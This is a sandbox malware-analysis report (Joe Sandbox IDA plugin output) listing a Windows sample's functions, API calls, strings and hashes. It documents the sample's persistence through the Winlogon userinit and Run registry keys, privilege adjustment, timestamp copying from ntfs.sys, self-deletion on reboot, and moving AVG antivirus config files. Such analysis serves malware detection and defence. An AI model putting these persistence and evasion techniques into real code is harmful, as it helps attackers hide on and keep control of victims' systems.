                                                                                                                                                                                                                      • Opcode ID: 79a3c48366173e2e4432591fd9d0211125a55660129729a41d6644ffa549504a
                                                                                                                                                                                                                      • Instruction ID: 8b448ea0795f31fda95dadee176b54ca291314fb6d6361d02f59f031212173a5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 79a3c48366173e2e4432591fd9d0211125a55660129729a41d6644ffa549504a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D93128716842187EF311EB90DC9AFEE7768EB89B00F104165F304AA1D0DBF16A45CBE9
                                                                                                                                                                                                                      Function 004000F1 Relevance: 24.0, APIs: 12, Strings: 1, Instructions: 1300fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 207 4000f1-4001e3 call 4001ca 212 4001e5-400258 207->212 213 400259 207->213 215 40025a-401011 212->215 213->215 219 401017-40101a 215->219 220 40113c-401141 215->220 219->220 221 401020-401022 219->221 221->220 222 401028-401044 CreateFileA 221->222 223 401139 222->223 224 40104a-401051 call 401e00 222->224 223->220 227 401053-401068 ConvertStringSecurityDescriptorToSecurityDescriptorW 224->227 228 4010aa-4010f3 SetFilePointer LockFile WriteFile UnlockFile 224->228 227->228 229 40106a-401089 GetSecurityDescriptorSacl 227->229 230 401105 228->230 231 4010f5-401103 SetEndOfFile 228->231 232 4010a0-4010a4 LocalFree 229->232 233 40108b-40109a SetNamedSecurityInfoA 229->233 234 401108-401111 230->234 231->230 231->234 232->228 233->232 235 401113-401120 GetHandleInformation 234->235 236 40112f-401136 234->236 235->236 237 401122-401126 235->237 237->236 238 401128-401129 CloseHandle 237->238 238->236
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,?,?,00401BB5,00000000), ref: 00401039
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentThread.KERNEL32 ref: 00401E10
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E17
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentProcess.KERNEL32(00000020,0040104F,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E27
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E2E
                                                                                                                                                                                                                        • Part of subcall function 00401E00: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00401E51
                                                                                                                                                                                                                        • Part of subcall function 00401E00: AdjustTokenPrivileges.KERNELBASE(0040104F,00000000,00000001,00000000,00000000,00000000), ref: 00401E6B
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetLastError.KERNEL32 ref: 00401E75
                                                                                                                                                                                                                        • Part of subcall function 00401E00: CloseHandle.KERNELBASE(0040104F), ref: 00401E86
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 00401060
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,00401BB5,?), ref: 00401081
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0040109A
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 004010A4
                                                                                                                                                                                                                      • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001), ref: 004010B8
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010C7
                                                                                                                                                                                                                      • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 004010D9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010E9
                                                                                                                                                                                                                      • SetEndOfFile.KERNELBASE(00000000), ref: 004010F6
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401118
                                                                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000), ref: 00401129
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Security$DescriptorHandleToken$CloseCurrentOpenProcessThread$AdjustConvertCreateErrorFreeInfoInformationLastLocalLockLookupNamedPointerPrivilegePrivilegesSaclStringUnlockValueWrite
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 1027056982-820036962
                                                                                                                                                                                                                      • Opcode ID: ed4ffb2dba8d29d9f73b1762ba96064b0f1017704a5a4d581a31cc202295fe74
                                                                                                                                                                                                                      • Instruction ID: f59e5f2c9003a6e204812eb1f8c7eb33969ee6ba3e941ca0e7e6302637e7b3a9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed4ffb2dba8d29d9f73b1762ba96064b0f1017704a5a4d581a31cc202295fe74
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9781346150E3C06FE7138B609C68B963FB49F57700F1A41EBE680EB1E3D26C4849C366
                                                                                                                                                                                                                      Function 00401000 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 121fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 239 401000-401011 240 401017-40101a 239->240 241 40113c-401141 239->241 240->241 242 401020-401022 240->242 242->241 243 401028-401044 CreateFileA 242->243 244 401139 243->244 245 40104a-401051 call 401e00 243->245 244->241 248 401053-401068 ConvertStringSecurityDescriptorToSecurityDescriptorW 245->248 249 4010aa-4010f3 SetFilePointer LockFile WriteFile UnlockFile 245->249 248->249 250 40106a-401089 GetSecurityDescriptorSacl 248->250 251 401105 249->251 252 4010f5-401103 SetEndOfFile 249->252 253 4010a0-4010a4 LocalFree 250->253 254 40108b-40109a SetNamedSecurityInfoA 250->254 255 401108-401111 251->255 252->251 252->255 253->249 254->253 256 401113-401120 GetHandleInformation 255->256 257 40112f-401136 255->257 256->257 258 401122-401126 256->258 258->257 259 401128-401129 CloseHandle 258->259 259->257
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,?,?,00401BB5,00000000), ref: 00401039
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentThread.KERNEL32 ref: 00401E10
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E17
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetCurrentProcess.KERNEL32(00000020,0040104F,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E27
                                                                                                                                                                                                                        • Part of subcall function 00401E00: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0040104F,?,?,?,?,00401BB5,00000000), ref: 00401E2E
                                                                                                                                                                                                                        • Part of subcall function 00401E00: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00401E51
                                                                                                                                                                                                                        • Part of subcall function 00401E00: AdjustTokenPrivileges.KERNELBASE(0040104F,00000000,00000001,00000000,00000000,00000000), ref: 00401E6B
                                                                                                                                                                                                                        • Part of subcall function 00401E00: GetLastError.KERNEL32 ref: 00401E75
                                                                                                                                                                                                                        • Part of subcall function 00401E00: CloseHandle.KERNELBASE(0040104F), ref: 00401E86
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 00401060
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,00401BB5,?), ref: 00401081
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0040109A
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 004010A4
                                                                                                                                                                                                                      • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001), ref: 004010B8
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010C7
                                                                                                                                                                                                                      • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 004010D9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004010E9
                                                                                                                                                                                                                      • SetEndOfFile.KERNELBASE(00000000), ref: 004010F6
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401118
                                                                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000), ref: 00401129
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Security$DescriptorHandleToken$CloseCurrentOpenProcessThread$AdjustConvertCreateErrorFreeInfoInformationLastLocalLockLookupNamedPointerPrivilegePrivilegesSaclStringUnlockValueWrite
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 1027056982-820036962
                                                                                                                                                                                                                      • Opcode ID: a7cc5cccd17c4c8d75918ffee1feed7c0f8f1c7f1eda389b3bae9a3494e8b2a5
                                                                                                                                                                                                                      • Instruction ID: 0b24c45107c0befc32dd0ff84bd5674d64e160e2b6de00103b139920790b26b7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a7cc5cccd17c4c8d75918ffee1feed7c0f8f1c7f1eda389b3bae9a3494e8b2a5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 874152B5600208BBE7209B94DD49FAF7BBDEB89741F144026FB04FA2D0D7B49941C7A8
                                                                                                                                                                                                                      Function 00402930 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 106registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 260 402930-40296f RegCreateKeyExA 261 402975-4029d9 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 260->261 262 4029fd-402a1e RegCreateKeyExA 260->262 263 4029e0-4029e5 261->263 264 402a20-402a22 262->264 265 402a44-402a4a 262->265 263->263 266 4029e7-4029fb 263->266 267 402a25-402a2a 264->267 268 402a4c-402a57 RegFlushKey RegCloseKey 265->268 269 402a5d-402a60 265->269 270 402a3e RegSetValueExA 266->270 267->267 271 402a2c-402a3d 267->271 268->269 270->265 271->270
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegCreateKeyExA.KERNELBASE(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,00000000), ref: 0040296B
                                                                                                                                                                                                                      • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 00402986
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 00402993
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 004029B0
                                                                                                                                                                                                                      • _snprintf.MSVCRT ref: 004029CB
                                                                                                                                                                                                                      • RegCreateKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000000,00000000,00000102,00000000,00000000,00000000), ref: 00402A1A
                                                                                                                                                                                                                      • RegSetValueExA.KERNELBASE(00000000,userinit,00000000,00000001,?,?), ref: 00402A3E
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(00000000), ref: 00402A4D
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 00402A57
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • software\microsoft\windows nt\currentversion\winlogon, xrefs: 00402953
                                                                                                                                                                                                                      • software\microsoft\windows\currentversion\run, xrefs: 00402A10
                                                                                                                                                                                                                      • SystemDrive, xrefs: 00402981
                                                                                                                                                                                                                      • userinit, xrefs: 00402A38
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Create$BackslashCloseEnvironmentFlushInformationPathValueVariableVolume_snprintf
                                                                                                                                                                                                                      • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                                      • API String ID: 3547530944-2324515132
                                                                                                                                                                                                                      • Opcode ID: 15ecb4030802b486445de4a6135ce48a3b5379f8823ffe5b2d75d15eecc358be
                                                                                                                                                                                                                      • Instruction ID: cfc36ad3083988d5491cb46672b4500e56a1c5dd6b6f1e6a0940d5df759a06a8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 15ecb4030802b486445de4a6135ce48a3b5379f8823ffe5b2d75d15eecc358be
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F93147B5740305BBE720DB54DE4AFEA777CDB95B00F204155FB44BA1C0DAF4AA448BA8
                                                                                                                                                                                                                      Function 004014B0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93processstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 346 4014b0-401531 memset * 2 lstrcpynA CreateProcessA 347 401533-401543 346->347 348 40158f-401597 346->348 349 401545-40154e GetHandleInformation 347->349 350 40155d-401567 347->350 349->350 351 401550-401554 349->351 352 401581-40158c 350->352 353 401569-401572 GetHandleInformation 350->353 351->350 354 401556-401557 CloseHandle 351->354 353->352 355 401574-401578 353->355 354->350 355->352 356 40157a-40157b CloseHandle 355->356 356->352
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004014C8
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004014EE
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,00402CFF,00000104,?,?,?,00000000,00000000,00000000), ref: 00401506
                                                                                                                                                                                                                      • CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 00401529
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00402CFF,?,?,?,00000000,00000000,00000000), ref: 0040154A
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00401557
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00402CFF,?,?,?,00000000,00000000,00000000), ref: 0040156E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 0040157B
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                      • API String ID: 2248944234-2746444292
                                                                                                                                                                                                                      • Opcode ID: ce458dfe1c04613ef12f54a39762905d76d3e86305e9e66b4aeea111f9933b52
                                                                                                                                                                                                                      • Instruction ID: 14e7369bd1a15e27c4b274561f890c179ee839510f861d06d6d7e351d84cbd4c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce458dfe1c04613ef12f54a39762905d76d3e86305e9e66b4aeea111f9933b52
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BF2167B290020C6FDB10DFE8DD84ADF7BBCAB94355F00457AFA05FA240D6349A458BA4
                                                                                                                                                                                                                      Function 00401BE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76filetimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 357 401be0-401c0c CreateFileA 358 401c12-401c2e GetFileTime 357->358 359 401ca5-401caa 357->359 360 401c30-401c3d GetHandleInformation 358->360 361 401c4c-401c69 CreateFileA 358->361 360->361 362 401c3f-401c43 360->362 361->359 363 401c6b-401c87 SetFileTime 361->363 362->361 364 401c45-401c46 CloseHandle 362->364 363->359 365 401c89-401c96 GetHandleInformation 363->365 364->361 365->359 366 401c98-401c9c 365->366 366->359 367 401c9e-401c9f CloseHandle 366->367 367->359
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,?,?,?,?,?,00402CA7,?), ref: 00401C05
                                                                                                                                                                                                                      • GetFileTime.KERNEL32(00000000,?,?,00402CA7,?,?,?,?,?,00402CA7,?,?,?), ref: 00401C1F
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402CA7,?), ref: 00401C35
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402CA7,?), ref: 00401C46
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402CA7,?), ref: 00401C62
                                                                                                                                                                                                                      • SetFileTime.KERNELBASE(00000000,?,?,00402CA7,?,?,?,?,?,00402CA7,?), ref: 00401C78
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402CA7,?), ref: 00401C8E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402CA7,?), ref: 00401C9F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • \\?\globalroot\systemroot\system32\drivers\ntfs.sys, xrefs: 00401C00
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileHandle$CloseCreateInformationTime
                                                                                                                                                                                                                      • String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys
                                                                                                                                                                                                                      • API String ID: 1046229350-2760794270
                                                                                                                                                                                                                      • Opcode ID: 7c78bbbd609582fa450ae599ee540afb2fc557391311a346b79caf6ae330784a
                                                                                                                                                                                                                      • Instruction ID: 0895f171d82555aaaa5436e0262d4f4d844cfaf0768df501368bcb823c663742
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7c78bbbd609582fa450ae599ee540afb2fc557391311a346b79caf6ae330784a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AE21F9729452187BF7219B50DD09FEF7B6CAF44710F148226FF01B61D0D778964586AC
                                                                                                                                                                                                                      Function 004012B0 Relevance: 13.6, APIs: 9, Instructions: 66fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(00401CB0,?,0000001C), ref: 004012DF
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004012F5
                                                                                                                                                                                                                      • PathFileExistsA.KERNELBASE(?), ref: 00401302
                                                                                                                                                                                                                      • GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401319
                                                                                                                                                                                                                      • GetTempFileNameA.KERNELBASE(?,00000000,00000000,?), ref: 00401331
                                                                                                                                                                                                                      • MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0040134D
                                                                                                                                                                                                                      • SetFileAttributesA.KERNELBASE(?,00000000), ref: 0040135C
                                                                                                                                                                                                                      • DeleteFileA.KERNELBASE(?), ref: 00401369
                                                                                                                                                                                                                      • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0040137D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2787354276-0
                                                                                                                                                                                                                      • Opcode ID: 9164c7000edcc80bd832700f9075c338832eee041a947671531ff51fe6c52d9d
                                                                                                                                                                                                                      • Instruction ID: 42c1c782f055159cc2832ed009bcca8814697c7b1d580040d5fe2fedb3335bbb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9164c7000edcc80bd832700f9075c338832eee041a947671531ff51fe6c52d9d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D921CFB1950219AFEB10DBA0DD49FEA77BCFB48700F0046A9A709F6190E6749A44CFA4
                                                                                                                                                                                                                      Function 00402450 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402468
                                                                                                                                                                                                                      • MoveFileA.KERNEL32(?,?), ref: 0040252F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileFolderMovePath
                                                                                                                                                                                                                      • String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
                                                                                                                                                                                                                      • API String ID: 1404575960-1083204512
                                                                                                                                                                                                                      • Opcode ID: a6917f6e4da9773d44f84d015a9f77c9b7ba1530eaea60a7d0f67c0c1847faf1
                                                                                                                                                                                                                      • Instruction ID: 6a3b38723654ace9b65cd78b9e90850702c138762b68f8666c7e3f81cfb55a8f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a6917f6e4da9773d44f84d015a9f77c9b7ba1530eaea60a7d0f67c0c1847faf1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 35215EB45042448FC719DF14EA98B92BBE1FB89300F1581B9DA88A73B2D6B0D944CF98
                                                                                                                                                                                                                      Function 0040219A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • FreeLibrary.KERNELBASE(00000000), ref: 004021AC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FreeLibrary
                                                                                                                                                                                                                      • String ID: v-@
                                                                                                                                                                                                                      • API String ID: 3664257935-4190885519
                                                                                                                                                                                                                      • Opcode ID: b8aa73b41344c928b5a69aeafce1e5ea70d40f485a6ee08f666cda2b661d009f
                                                                                                                                                                                                                      • Instruction ID: 659d1c44b33988b11b994a6559d152e96ecfdb185b9268fc6ed29e1105b0769f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b8aa73b41344c928b5a69aeafce1e5ea70d40f485a6ee08f666cda2b661d009f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34D05E76E01629CBCB21DF94A5052AEF730FB44731F0043AADE247338083351C118AD5

                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                      Function 00403560 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004035AE
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004035CE
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004035EE
                                                                                                                                                                                                                      • IsUserAnAdmin.SHELL32 ref: 004035F6
                                                                                                                                                                                                                      • GetVersionExA.KERNEL32 ref: 00403611
                                                                                                                                                                                                                        • Part of subcall function 004034C0: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004034E7
                                                                                                                                                                                                                        • Part of subcall function 004034C0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403509
                                                                                                                                                                                                                        • Part of subcall function 004034C0: OpenProcessToken.ADVAPI32(00000000), ref: 00403510
                                                                                                                                                                                                                        • Part of subcall function 004034C0: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403531
                                                                                                                                                                                                                        • Part of subcall function 004034C0: CloseHandle.KERNEL32(00000000), ref: 00403547
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00403655
                                                                                                                                                                                                                      • _snwprintf.MSVCRT ref: 0040366E
                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 004036CB
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 00403717
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 0040371E
                                                                                                                                                                                                                      • memset.MSVCRT ref: 00403736
                                                                                                                                                                                                                      • _snwprintf.MSVCRT ref: 00403750
                                                                                                                                                                                                                      • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403773
